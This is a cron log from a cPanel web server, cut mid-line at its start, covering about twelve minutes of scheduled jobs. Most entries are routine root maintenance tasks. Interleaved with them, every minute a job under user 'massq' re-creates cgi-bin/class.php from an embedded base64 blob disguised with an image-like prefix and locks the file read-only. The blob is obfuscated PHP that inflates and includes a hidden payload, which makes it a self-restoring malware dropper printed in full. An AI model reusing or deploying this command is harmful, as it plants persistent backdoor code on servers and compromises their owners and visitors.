9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:41:01 server CROND[19426]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 20:42:01 server CROND[19885]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 20:42:01 server CROND[19884]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 20:42:01 server CROND[19886]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:42:01 server CROND[19887]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:43:01 server CROND[20252]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:43:01 server CROND[20253]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 20:43:01 server CROND[20254]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:44:01 server CROND[20622]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:44:01 server CROND[20623]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 20:44:01 server CROND[20624]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:45:01 server CROND[21013]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 20:45:01 server CROND[21015]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 20:45:01 server CROND[21017]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:45:01 server CROND[21018]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 20:45:01 server CROND[21019]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 20:45:01 server CROND[21020]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 20:45:01 server CROND[21023]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:46:01 server CROND[21826]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:46:01 server CROND[21827]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:46:01 server CROND[21828]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 20:47:01 server CROND[22191]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:47:01 server CROND[22192]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:47:01 server CROND[22193]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 20:48:01 server CROND[22675]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 20:48:01 server CROND[22676]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:48:01 server CROND[22678]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:49:01 server CROND[23219]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:49:01 server CROND[23220]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:49:01 server CROND[23221]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 20:50:01 server CROND[23598]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 20:50:01 server CROND[23601]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 20:50:01 server CROND[23603]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 20:50:01 server CROND[23602]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 20:50:01 server CROND[23608]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:50:01 server CROND[23605]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 20:50:01 server CROND[23609]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 20:50:01 server CROND[23604]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 20:50:01 server CROND[23615]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:51:02 server CROND[24430]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:51:02 server CROND[24431]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 20:51:02 server CROND[24429]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:52:01 server CROND[24797]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:52:01 server CROND[24796]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 20:52:01 server CROND[24798]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:53:01 server CROND[25170]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:53:01 server CROND[25171]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 20:53:01 server CROND[25172]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
